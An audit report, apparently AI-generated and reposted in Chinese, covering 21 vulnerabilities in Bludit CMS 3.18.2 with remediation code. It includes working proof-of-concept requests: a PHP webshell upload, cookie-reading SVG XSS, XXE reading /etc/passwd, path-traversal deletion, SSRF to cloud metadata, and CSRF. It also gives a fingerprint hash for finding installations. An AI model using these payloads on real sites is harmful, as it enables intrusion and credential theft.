



免责声明:本文技术、思路及工具仅用于合法安全测试与防御研究,严禁用于非法入侵、攻击他人系统、数据窃取等违法违规行为,一切后果由使用者自行承担,文章作者及公众号不担任何法律责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!
使用php-audit对当前项目进行代码审计

Bludit 3.18.2 是一个基于PHP的轻量级平面文件CMS,使用JSON文件代替传统SQL数据库进行数据存储。本次审计覆盖了OWASP Top 10全部类别,并对SQL注入、命令注入、XSS、文件上传、SSRF、访问控制等进行了深度专项检查。
| 总计 | 21 |
bl-content/databases/*.php | ||
.htaccess | ||
rand()生成) | ||
openssl_random_pseudo_bytes(64) | ||
bludit-3.18.2/├── index.php # 入口文件├── install.php # 安装脚本├── .htaccess # URL重写及目录保护├── bl-kernel/ # 核心代码│ ├── boot/ # 引导文件│ │ ├── init.php # 初始化(DEBUG_MODE=TRUE)│ │ ├── admin.php # 管理后台路由│ │ ├── site.php # 前台路由│ │ ├── variables.php # 全局变量定义│ │ └── rules/ # 安全规则│ │ ├── 60.plugins.php # 插件加载│ │ └── 99.security.php # CSRF验证│ ├── admin/ # 管理后台│ │ ├── controllers/ # 控制器│ │ ├── views/ # 视图│ │ └── themes/booty/ # 后台主题│ ├── ajax/ # AJAX处理器│ ├── abstract/ # 抽象类(dbJSON等)│ ├── helpers/ # 辅助类│ │ ├── sanitize.class.php # 输入过滤│ │ ├── text.class.php # 文本处理│ │ ├── tcp.class.php # HTTP请求│ │ └── filesystem.class.php # 文件操作│ ├── security.class.php # 安全类│ ├── login.class.php # 登录认证│ ├── users.class.php # 用户管理│ ├── pages.class.php # 页面管理│ └── functions.php # 全局函数├── bl-plugins/ # 插件目录│ ├── api/plugin.php # REST API插件│ ├── about/plugin.php # 关于插件│ ├── links/plugin.php # 链接插件│ ├── disqus/plugin.php # Disqus评论插件│ ├── html-code/plugin.php # HTML代码插件│ └── remote-content/plugin.php # 远程内容插件├── bl-content/ # 数据存储目录│ ├── databases/ # JSON数据库│ ├── uploads/ # 上传文件│ ├── pages/ # 页面内容│ └── tmp/ # 临时文件└── bl-themes/ # 前台主题在详述漏洞之前,先总结Bludit安全架构中的系统性缺陷,这是多个漏洞的根本原因:
文件: bl-kernel/helpers/sanitize.class.php 第12行
$flags = ENT_COMPAT; // 只转义双引号,不转义单引号 '正确做法应使用 ENT_QUOTES。在JavaScript字符串使用单引号包裹的上下文中,攻击者可通过单引号逃逸注入代码。
系统在存储时对数据做 htmlspecialchars() 编码,但输出时不做任何转义。这在前端JS使用 jQuery .html() / .append() 渲染时会被浏览器解码还原,使编码完全失效。
文件: bl-kernel/admin/themes/booty/init.php
formInputText()(第263行)、formTextarea()(第190行)、formInputHidden()(第387行)等方法直接将 $value 拼接到HTML中,不做任何 htmlspecialchars() 编码。
文件: bl-kernel/users.class.php 第158行
returnsha1($password . $salt); // 应使用 password_hash()盐值仅8字符,由 rand(0,41) 生成(bl-kernel/helpers/text.class.php:116-122),随机性极弱。
| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-plugins/api/plugin.php:204bl-plugins/api/plugin.php:732-765 |
| 前提条件 |
[$_POST + API Token(只读)] → [路由匹配 line 204: 无 $writePermissions 检查]→ [uploadFile($pageKey)] → [$_FILES['file']['name'] 无过滤]→ [PATH_UPLOADS_PAGES.$pageKey.DS.$filename 无路径验证]→ [Filesystem::mv() 直接写入] → [RCE: 上传.php文件并访问执行]API插件的 /api/files/<page-key> 端点(POST方法)在第204行缺失 $writePermissions 检查。对比其他写操作端点:
// 第146行 - PUT pages: 有 $writePermissions ✓elseif (($method === 'PUT') && ($parameters[0] === 'pages') && !empty($parameters[1]) && $writePermissions) {// 第151行 - DELETE pages: 有 $writePermissions ✓elseif (($method === 'DELETE') && ($parameters[0] === 'pages') && !empty($parameters[1]) && $writePermissions) {// 第156行 - POST pages: 有 $writePermissions ✓elseif (($method === 'POST') && ($parameters[0] === 'pages') && empty($parameters[1]) && $writePermissions) {// 第168行 - POST images: 有 $writePermissions ✓elseif (($method === 'POST') && ($parameters[0] === 'images') && $writePermissions) {// ❌ 第204行 - POST files: 缺失 $writePermissions!elseif (($method === 'POST') && ($parameters[0] === 'files') && !empty($parameters[1])) {uploadFile() 方法(第732-765行)存在以下严重缺陷:
$_FILES['file']['name']$pageKey 和 $filename 均未经路径遍历检查// plugin.php:748-751$filename = $_FILES['file']['name']; // 用户完全控制$absolutePath = PATH_UPLOADS_PAGES . $pageKey . DS . $filename; // 直接拼接Filesystem::mv($_FILES['file']['tmp_name'], $absolutePath); // 直接写入POST/api/files/test-pageHTTP/1.1Host: target.comContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="token"[API只读Token - 在插件设置页面可见]------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="file"; filename="shell.php"Content-Type: application/x-php<?phpsystem($_GET['cmd']); ?>------WebKitFormBoundary7MA4YWxkTrZu0gW--GET /api/pages?token=xxx 获取)http://target.com/bl-content/uploads/pages/test-page/shell.php?cmd=whoami漏洞复现
icon_hash="1130889066"

https://target.com/bl-content/uploads/pages/blah/test.php
// 修复1: 添加 $writePermissions 检查elseif (($method === 'POST') && ($parameters[0] === 'files') && !empty($parameters[1]) && $writePermissions) {// 修复2: 在 uploadFile() 中添加文件验证privatefunctionuploadFile($pageKey){// ... 现有检查 ...$filename = $_FILES['file']['name'];// 添加文件扩展名白名单$allowedExtensions = ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'txt', 'zip', 'rar'];$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));if (!in_array($ext, $allowedExtensions)) {returnarray('status' => '1', 'message' => 'File type not allowed.'); }// 过滤文件名$filename = basename($filename);// 验证 pageKey 防止路径遍历if (strpos($pageKey, '..') !== false) {returnarray('status' => '1', 'message' => 'Invalid page key.'); }}| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/boot/variables.php:110-113bl-kernel/ajax/upload-images.php、bl-kernel/functions.php:979、bl-kernel/ajax/logo-upload.php |
| 前提条件 |
[管理后台上传SVG文件] → [upload-images.php 检查扩展名白名单]→ ['svg' 在白名单中 (variables.php:110)] → ['image/svg+xml' 在MIME白名单中 (variables.php:113)]→ [transformImage() (functions.php:979) 对SVG只创建符号链接,不检查内容]→ [SVG保存到 bl-content/uploads/,该目录不受.htaccess拒绝规则保护]→ [浏览器访问SVG → 执行其中的JavaScript代码]SVG扩展名和 image/svg+xml MIME类型均在白名单中:
// bl-kernel/boot/variables.php// 第110行define('ALLOWED_IMG_EXTENSION', array('gif','png','jpg','jpeg','svg','webp'));// 第113行define('ALLOWED_IMG_MIMES', array('image/gif','image/png','image/jpeg','image/svg+xml','image/webp'));transformImage() 对SVG文件仅创建符号链接(第979-980行),不做任何内容检查或清理。SVG中的JavaScript代码原样保留。上传目录 bl-content/uploads/ 不在 .htaccess 拒绝规则中。
Logo上传(bl-kernel/ajax/logo-upload.php)同样允许SVG且不做内容过滤。
POST/admin/ajax/upload-imagesHTTP/1.1Host: target.comCookie: BLUDIT-KEY=<session_cookie>Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundaryContent-Disposition: form-data; name="tokenCSRF"<csrf_token_value>------WebKitFormBoundaryContent-Disposition: form-data; name="uuid"<page_uuid>------WebKitFormBoundaryContent-Disposition: form-data; name="images[]"; filename="xss.svg"Content-Type: image/svg+xml<?xml version="1.0" encoding="UTF-8"?><svgxmlns="http://www.w3.org/2000/svg"width="100"height="100"><scripttype="text/javascript">alert('XSS: ' + document.cookie);</script><rectwidth="100"height="100"fill="red"/></svg>------WebKitFormBoundary--XXE变体PoC:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg [<!ENTITY xxeSYSTEM"file:///etc/passwd">]><svgxmlns="http://www.w3.org/2000/svg"><textx="0"y="20">&xxe;</text></svg>http://target.com/bl-content/uploads/xss.svg// 方案1: 从白名单中移除SVGdefine('ALLOWED_IMG_EXTENSION', array('gif','png','jpg','jpeg','webp'));// 方案2: 对SVG内容进行清理functionsanitizeSvg($filePath) {$content = file_get_contents($filePath);// 移除 <script> 标签$content = preg_replace('/<script\b[^>]*>.*?<\/script>/is', '', $content);// 移除事件处理器属性$content = preg_replace('/\bon\w+\s*=\s*["\'][^"\']*["\']/i', '', $content);// 移除外部引用$content = preg_replace('/xlink:href\s*=\s*["\'](?!#)[^"\']*["\']/i', '', $content);file_put_contents($filePath, $content);}// 方案3: 设置Content-Disposition头强制下载header('Content-Disposition: attachment; filename="' . basename($file) . '"');| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/pages.class.php:62-67bl-kernel/pages.class.php:796-811 |
| 前提条件 |
[创建/编辑页面时设置标签] → [pages.class.php:62-67 tags字段走单独分支]→ [generateTags() 仅做 trim()+explode(','),无HTML编码]→ [标签名原样存储到JSON文件]→ [前台主题输出 echo $tagName (bl-themes/blogx/php/home.php:54)]→ [XSS执行]pages.class.php 第62-67行,当字段名为 tags 时走单独分支调用 generateTags(),完全跳过了第83行的 Sanitize::html() 编码:
// 第62-67行 -- tags跳过了编码if ($field == 'tags') {$tags = $args['tags'];$finalValue = $this->generateTags($tags); // 不做html编码!}// 第82-83行 -- 其他字段有编码} elseif (isset($args[$field])) {$finalValue = Sanitize::html($args[$field]); // tags不走这里}标签名也被 theme.class.php:144 的 metaTagTitle() 插入到 <title> 标签中,可用 </title><script>alert(1)</script> 触发。
POST/admin/new-contentHTTP/1.1Host: target.comCookie: BLUDIT-KEY=<session_cookie>Content-Type: application/x-www-form-urlencodedtokenCSRF=<token>&title=TestPage&content=test&tags=<img src=x onerror=alert(document.cookie)>&type=published&uuid=test-page-123<img src=x onerror=alert(document.cookie)>// 在 generateTags() 中对标签名做HTML编码privatefunctiongenerateTags($tags){$tmp = array();$list = explode(',', $tags);foreach ($listas$tag) {$tag = trim($tag);$tag = Sanitize::html($tag); // 添加编码if (!empty($tag)) {$tmp[] = $tag; } }return$tmp;}| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/admin/views/dashboard.php:97-110 |
| 前提条件 |
[攻击者创建页面标题: <img src=x onerror=alert(1)>]→ [Sanitize::html() 编码存储: <img src=x onerror=alert(1)>]→ [clippy.php AJAX返回JSON: {"text": "<img ...>"}]→ [dashboard.php 第104行: resultHtml += item.text (直接拼接HTML字符串)]→ [第110行: searchResults.append(resultHtml) (jQuery解析HTML)]→ [浏览器将 < 解码为 <,渲染为真实HTML标签]→ [onerror事件执行JavaScript → XSS]htmlspecialchars() 编码后的实体(如<)在通过jQuery .append() 插入DOM时,会被浏览器HTML解析器解码还原为原始字符,使服务端编码完全失效。这是"输入净化"架构的典型失败案例。
POST/admin/new-contentHTTP/1.1Host: target.comCookie: BLUDIT-KEY=<session_cookie>Content-Type: application/x-www-form-urlencodedtokenCSRF=<token>&title=<img src=x onerror=alert('DashboardXSS')>&content=test&type=published&uuid=xss-dash-123.append() 渲染时XSS触发// 使用 .text() 代替 HTML 拼接var resultItem = $('<a>').attr('href', item.url).text(item.text);searchResults.append(resultItem);| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/admin/views/edit-content.php:235-244 |
| 前提条件 |
Select2配置了 escapeMarkup: function(markup) { return markup; } 禁用了默认的HTML转义,且 templateResult 回调直接将 data.text(页面标题)拼接到HTML字符串中。与VUL-004相同的解码机制导致XSS。
// 移除 escapeMarkup 覆盖,使用Select2默认的HTML转义$('#jsparent').select2({// 删除: escapeMarkup: function(markup) { return markup; }templateResult: function(data) {// 使用文本节点而非HTML拼接return $('<span>').text(data.text); }});| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/admin/views/dashboard.php:26 |
| 前提条件 |
[用户设置昵称为: ');alert(document.cookie);//]→ [strip_tags() 不变(无HTML标签)]→ [Sanitize::html() 使用 ENT_COMPAT 不编码单引号,保持原样]→ [dashboard.php 第26行生成JavaScript:] $("#hello-message").html('..., ');alert(document.cookie);//');→ [JavaScript执行 alert(document.cookie)]POST/admin/edit-user/attackerHTTP/1.1Host: target.comCookie: BLUDIT-KEY=<session_cookie>Content-Type: application/x-www-form-urlencodedtokenCSRF=<token>&username=attacker&nickname=');alert(document.cookie);//&email=test@test.com&role=author');alert(document.cookie);//// 使用 json_encode 安全输出到JavaScript上下文<?php$nickname = json_encode($login->nickname(), JSON_HEX_APOS | JSON_HEX_QUOT);?><script>$("#hello-message").text(<?php echo$nickname; ?>);</script>| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/abstract/dblist.class.php:84bl-kernel/admin/themes/booty/init.php:263 |
| 前提条件 |
分类名存储时仅用 strip_tags()(第84行),不做 htmlspecialchars() 编码。而Bootstrap的 formInputText() 输出 value="$value" 不做转义(第263行)。strip_tags() 不会移除引号字符。
POST/admin/new-categoryHTTP/1.1Host: target.comCookie: BLUDIT-KEY=<session_cookie>Content-Type: application/x-www-form-urlencodedtokenCSRF=<token>&name=test" onfocus="alert(1)"autofocus="&description=testtest" onfocus="alert(1)" autofocus="<input value="test" onfocus="alert(1)" autofocus="">,XSS自动触发// dblist.class.php 第84行 - 增加htmlspecialchars$name = Sanitize::html($args['name']);// booty/init.php 第263行 - formInputText 中转义valueecho'<input value="' . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . '">';| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/boot/admin.php:43-55 |
| 前提条件 |
AJAX处理仅检查 $login->isLogged()(是否已登录),不检查用户角色:
if ($layout['slug']==='ajax') {if ($login->isLogged()) {include(PATH_RULES.'99.security.php');if (Sanitize::pathFile(PATH_AJAX, $layout['parameters'].'.php')) {include(PATH_AJAX.$layout['parameters'].'.php'); } }}低权限用户(editor、author)可以访问所有AJAX端点,包括:
upload-images.php | ||
delete-image.php | ||
logo-upload.php | ||
save-as-draft.php |
唯一有角色检查的AJAX处理器是 profile-picture-upload.php(第14行 checkRole)。
POST/admin/ajax/logo-uploadHTTP/1.1Host: target.comCookie: BLUDIT-KEY=<author_session_cookie>Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundaryContent-Disposition: form-data; name="tokenCSRF"<csrf_token>------WebKitFormBoundaryContent-Disposition: form-data; name="images[]"; filename="evil-logo.svg"Content-Type: image/svg+xml<svg xmlns="http://www.w3.org/2000/svg"><script>alert('Logo XSS')</script></svg>------WebKitFormBoundary--// 在每个敏感AJAX处理器开头添加角色检查// upload-images.phpcheckRole(array('admin', 'editor'));// delete-image.phpcheckRole(array('admin', 'editor'));// logo-upload.phpcheckRole(array('admin'));// 或在 admin.php 中添加统一的AJAX角色映射| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/ajax/delete-image.php |
| 前提条件 |
delete-image.php 的 $uuid 参数缺少路径遍历检查。对比 upload-images.php 第19行有 strpos($uuid, DS) 检查,delete-image.php 没有。$filename 参数同样未经检查。
攻击者可通过构造 ../ 路径删除上传目录之外的文件。
POST/admin/ajax/delete-imageHTTP/1.1Host: target.comCookie: BLUDIT-KEY=<session_cookie>Content-Type: application/x-www-form-urlencodedtokenCSRF=<token>&uuid=../../databases&filename=site.php// 添加与 upload-images.php 相同的路径遍历检查if (strpos($uuid, DS) !== false) {ajaxResponse(1, 'Invalid UUID.');}if (strpos($filename, DS) !== false) {ajaxResponse(1, 'Invalid filename.');}| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/users.class.php:158bl-kernel/helpers/text.class.php:116-122 |
// users.class.php:158 - 使用SHA1而非bcrypt/argon2returnsha1($password . $salt);// text.class.php:116-122 - 使用不安全的rand()生成盐值publicstaticfunctionrandomText($length){$characteres = "0123456789abcdefghijklmnopqrstuvwxyz!@#\$%&";$randomString = '';for ($i = 0; $i < $length; $i++) {$randomString .= $characteres[rand(0, 41)]; // rand() 可预测 }return$randomString;}问题:
rand() 生成PASSWORD_LENGTH=6)== 而非 hash_equals()(时序攻击)// 使用PHP内置的安全密码哈希$hash = password_hash($password, PASSWORD_BCRYPT);// 验证密码if (password_verify($password, $storedHash)) { ... }// 使用安全随机数$salt = bin2hex(random_bytes(16));// Token比较使用时序安全函数if (hash_equals($storedToken, $inputToken)) { ... }| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | install.php |
安装脚本存在多个安全问题:
md5(uniqid().time().DOMAIN) — uniqid() 和 time() 均可预测?demo=true 使用密码 demo123 安装 — 可能被遗留在生产环境bl-content/databases/site.php 存在来判断是否已安装// 使用安全随机数生成Token$authToken = bin2hex(random_bytes(32));// 安装完成后创建锁文件file_put_contents(PATH_ROOT . '.installed', date('Y-m-d H:i:s'));| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-plugins/remote-content/plugin.phpbl-kernel/helpers/tcp.class.php |
| 前提条件 |
Remote Content插件允许管理员配置远程URL下载ZIP并解压。tcp.class.php 的 http() 方法:
127.0.0.1、169.254.169.254(云元数据)、内网CIDRfilesystem.class.php 的 unzip() 方法(第222-229行)使用 ZipArchive::extractTo() 且不检查ZIP条目名是否包含 ../(Zip Slip漏洞)。
POST/admin/plugin-settings/pluginRemoteContentHTTP/1.1Host: target.comCookie: BLUDIT-KEY=<admin_session_cookie>Content-Type: application/x-www-form-urlencodedtokenCSRF=<token>&source=http://169.254.169.254/latest/meta-data/iam/security-credentials/// 添加URL验证functionvalidateUrl($url) {$parsed = parse_url($url);if (!in_array($parsed['scheme'], ['http', 'https'])) returnfalse;$ip = gethostbyname($parsed['host']);if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {returnfalse; }returntrue;}// unzip() 添加Zip Slip防护foreach ($zipas$entry) {if (strpos($entry, '..') !== false) {continue; // 跳过包含路径遍历的条目 }}| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/boot/rules/99.security.phpbl-kernel/admin/controllers/install-plugin.php、bl-kernel/admin/controllers/install-theme.php |
99.security.php 只检查 $_POST['tokenCSRF'],GET请求完全绕过CSRF保护install-plugin.php 和 install-theme.php 通过GET请求中的slug参数激活,无CSRF验证<imgsrc="http://target.com/admin/install-plugin/malicious-plugin"style="display:none">// 将插件/主题安装改为POST请求并验证CSRF Tokenif ($_SERVER['REQUEST_METHOD'] !== 'POST') {Redirect::page('plugins');}| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-plugins/about/plugin.php:41 |
| 前提条件 |
插件在 siteSidebar() 中使用 html_entity_decode() 对已编码内容解码后输出:
$html .= html_entity_decode($this->getValue('text'));Sanitize::html() 在存储时的编码被 html_entity_decode() 完全逆转,恢复了原始的恶意HTML/JavaScript代码。
// 直接输出已编码的值,不要解码$html .= $this->getValue('text');| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-plugins/links/plugin.php:140-146 |
| 前提条件 |
getValue('jsondb', false) 传入 false 参数会调用 htmlDecode() 解码,链接URL和名称被还原后直接拼接到HTML中:
$json = $this->getValue('jsondb', false); // false = 解码HTML实体// URL可设为 javascript:alert(1)$html .= '<a href="' . $link['url'] . '">' . $link['name'] . '</a>';$html .= '<a href="' . htmlspecialchars($link['url'], ENT_QUOTES) . '">' . htmlspecialchars($link['name'], ENT_QUOTES) . '</a>';| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-plugins/api/plugin.php:297 |
header('Access-Control-Allow-Origin: *');允许任意域跨域调用API。配合有效API Token可跨域窃取所有页面、用户、设置数据。
// 限制为特定域名$allowedOrigin = $site->url();header('Access-Control-Allow-Origin: ' . $allowedOrigin);| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/admin/views/new-category.php:22,31 |
| 前提条件 |
$_POST['category'] 和 $_POST['description'] 在表单验证失败回显时直接传入Bootstrap表单方法,无任何转义。在textarea上下文中,payload </textarea><script>alert(1)</script> 可逃逸标签。
| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/admin/views/new-user.php:22,60 |
| 前提条件 |
与VUL-017相同模式,$_POST['new_username'] 和 $_POST['email'] 未转义回显到表单中。
| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/boot/init.php:10 |
define('DEBUG_MODE', TRUE); // 硬编码,生产环境应为FALSE调试模式开启可能导致详细错误信息泄露给用户,暴露内部路径、数据库结构等敏感信息。开发者页面(developers.php)暴露 $_SERVER、ini_get_all()、已加载扩展等信息。
define('DEBUG_MODE', FALSE);| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/login.class.php |
Session指纹仅基于 SHA1(User-Agent)。如果攻击者窃取了Session ID(如通过XSS),只需使用相同的User-Agent即可劫持会话。
// 增加IP绑定$fingerprint = sha1($_SERVER['HTTP_USER_AGENT'] . $_SERVER['REMOTE_ADDR']);| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-kernel/admin/views/plugins.php:54,64,68,72 |
插件和主题的 metadata.json 中的 name、description、author、website 字段不经HTML转义直接输出。恶意插件可通过供应链攻击注入XSS。website 字段被放入 href 属性,可注入 javascript: 协议。
echohtmlspecialchars($plugin->name(), ENT_QUOTES, 'UTF-8');echo'<a href="' . htmlspecialchars($plugin->website(), ENT_QUOTES) . '">';| 漏洞编号 | |
| 漏洞类型 | |
| 严重程度 | |
| 漏洞文件 | bl-plugins/disqus/plugin.php:88-102 |
| 前提条件 |
由于 ENT_COMPAT 不编码单引号,Disqus shortname中的单引号可逃逸JavaScript字符串。需管理员权限配置,实际利用场景有限。
Bludit CMS 完全不使用SQL数据库。数据存储机制如下:
bl-content/pages/*/index.txt | ||
bl-content/databases/users.php | ||
bl-content/databases/site.php | ||
bl-content/databases/tags.phpcategories.php | ||
bl-content/databases/plugins/*/db.php | ||
bl-content/databases/security.php |
搜索整个项目,未找到任何SQL相关函数:mysql_query、mysqli_query、PDO::query、pg_query、sqlite_query、DB::select、DB::raw 等均无匹配。
exec() | curl_exec()(cURL库函数) | |
shell_exec() | ||
system() | ||
passthru() | ||
popen() | ||
proc_open() | ||
pcntl_exec() | ||
eval() | ||
assert() | ||
create_function() | ||
preg_replace /e | ||
通过VUL-001(API文件上传)可实现RCE,是本项目中实现代码执行的最可行路径。
| 严重 | api/plugin.php:204,732 | ||||
| 严重 | upload-images.php | ||||
| 高危 | pages.class.php:62 | ||||
| 高危 | dashboard.php:97 | ||||
| 高危 | edit-content.php:235 | ||||
| 高危 | dashboard.php:26 | ||||
| 高危 | dblist.class.php:84 | ||||
| 高危 | admin.php:43 | ||||
| 高危 | delete-image.php | ||||
users.class.php:158 | |||||
install.php | |||||
remote-content/plugin.php | |||||
99.security.php | |||||
about/plugin.php:41 | |||||
links/plugin.php:140 | |||||
api/plugin.php:297 | |||||
new-category.php:22 | |||||
new-user.php:22 | |||||
init.php:10 | |||||
login.class.php | |||||
plugins.php:54 | |||||
disqus/plugin.php:88 |
uploadFile() 添加 $writePermissions 检查 + 文件扩展名白名单 + 文件名过滤svg,或对SVG上传实施内容清理delete-image.php 添加路径遍历检查generateTags() 中对标签名做 Sanitize::html() 编码Sanitize::html() 从 ENT_COMPAT 改为 ENT_QUOTES.text() 代替HTML拼接htmlspecialchars() 编码formInputText()/formTextarea() 中value参数添加转义password_hash(PASSWORD_BCRYPT)random_bytes() 生成Tokenhtml_entity_decode() 和 getValue(false) 的不安全使用DEBUG_MODEContent-Security-Policy、X-Frame-Options、X-Content-Type-Optionshash_equals() 替代 ==random_int() / random_bytes() 替代 rand() / mt_rand()本报告由AI安全审计工具自动生成,审计日期:2026-06-25
👇关注【大白哥AI与安全】公众号, 获取AI安全前沿技术与工具分享👇